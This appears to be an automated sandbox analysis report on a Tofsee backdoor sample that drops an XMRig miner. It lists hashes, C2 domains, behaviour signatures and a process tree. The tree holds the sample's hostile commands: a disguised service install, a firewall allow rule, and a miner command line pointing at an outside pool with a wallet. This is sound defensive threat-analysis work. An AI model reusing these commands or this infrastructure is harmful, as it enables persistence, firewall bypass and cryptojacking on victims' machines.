Analysis

  • max time kernel
    144s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    25-03-2023 19:47

General

  • Target

    file.exe

  • Size

    273KB

  • MD5

    6cc6e0f96c9436d423167dbeb71da2a7

  • SHA1

    074ffa92fb78dc09b4674e45fad70ce2082eeea3

  • SHA256

    9b8b81e1185334bcf1d2c4a865e631c4b67ecca8d2795a6174cfa8cad721c737

  • SHA512

    f6e97bf800a0436d27a7d059ddb8c6a49828957a3dd39d6ef9ce6c85a3fdab99d8bb035d0ae911f58512fd19c0a2caa4de905286e14529c57f8ff246c43aa0ac

  • SSDEEP

    3072:Ca+zzQ2vCRxuUxAIvKLpnmlKWAkcVgHZLYUlEC2UoXsAEsrTZAbW8dLJf/+yCJQO:moxueinmlF0UlhoXsjoZsW8ddETfz

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qhprlref\
      2⤵
        PID:2024
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rlldgqug.exe" C:\Windows\SysWOW64\qhprlref\
        2⤵
          PID:916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qhprlref binPath= "C:\Windows\SysWOW64\qhprlref\rlldgqug.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qhprlref "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qhprlref
          2⤵
          • Launches sc.exe
          PID:672
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1576
      • C:\Windows\SysWOW64\qhprlref\rlldgqug.exe
        C:\Windows\SysWOW64\qhprlref\rlldgqug.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1128
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1904
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1612

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\rlldgqug.exe

        Filesize

        12.1MB

        MD5

        4d1c306afd5976e5afa471be378c6b65

        SHA1

        cd15781a5dad32f4aea0395a54f8c7f5b1ea6fc4

        SHA256

        42d42ee7e1cde7f79be34569bf57120b1eaf4d7efef15642edc7272a36fcfa00

        SHA512

        d5990a52ba860c6e0ffea36dda086971dd35851a077f226a61f8effd7656b45b6f72b5f670e7243bf51ce4827932a703e16e85b91dc045a4217cf0ea475cbbc4

      • C:\Windows\SysWOW64\qhprlref\rlldgqug.exe

        Filesize

        12.1MB

        MD5

        4d1c306afd5976e5afa471be378c6b65

        SHA1

        cd15781a5dad32f4aea0395a54f8c7f5b1ea6fc4

        SHA256

        42d42ee7e1cde7f79be34569bf57120b1eaf4d7efef15642edc7272a36fcfa00

        SHA512

        d5990a52ba860c6e0ffea36dda086971dd35851a077f226a61f8effd7656b45b6f72b5f670e7243bf51ce4827932a703e16e85b91dc045a4217cf0ea475cbbc4

      • memory/1128-66-0x0000000000400000-0x0000000002B71000-memory.dmp

        Filesize

        39.4MB

      • memory/1612-111-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1612-124-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1612-123-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1612-122-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1612-121-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1612-119-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1612-120-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1612-112-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1904-88-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-93-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-75-0x00000000019A0000-0x0000000001BAF000-memory.dmp

        Filesize

        2.1MB

      • memory/1904-76-0x0000000000160000-0x0000000000166000-memory.dmp

        Filesize

        24KB

      • memory/1904-79-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-83-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-82-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-84-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-85-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-86-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-87-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1904-90-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-89-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-91-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-92-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-94-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-72-0x00000000019A0000-0x0000000001BAF000-memory.dmp

        Filesize

        2.1MB

      • memory/1904-96-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-95-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-98-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-97-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1904-99-0x0000000000230000-0x0000000000235000-memory.dmp

        Filesize

        20KB

      • memory/1904-102-0x0000000000230000-0x0000000000235000-memory.dmp

        Filesize

        20KB

      • memory/1904-103-0x0000000005930000-0x0000000005D3B000-memory.dmp

        Filesize

        4.0MB

      • memory/1904-106-0x0000000005930000-0x0000000005D3B000-memory.dmp

        Filesize

        4.0MB

      • memory/1904-107-0x0000000000380000-0x0000000000387000-memory.dmp

        Filesize

        28KB

      • memory/1904-71-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/1904-69-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/1904-68-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/1904-67-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/1904-63-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/1904-60-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2040-61-0x0000000000400000-0x0000000002B71000-memory.dmp

        Filesize

        39.4MB

      • memory/2040-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB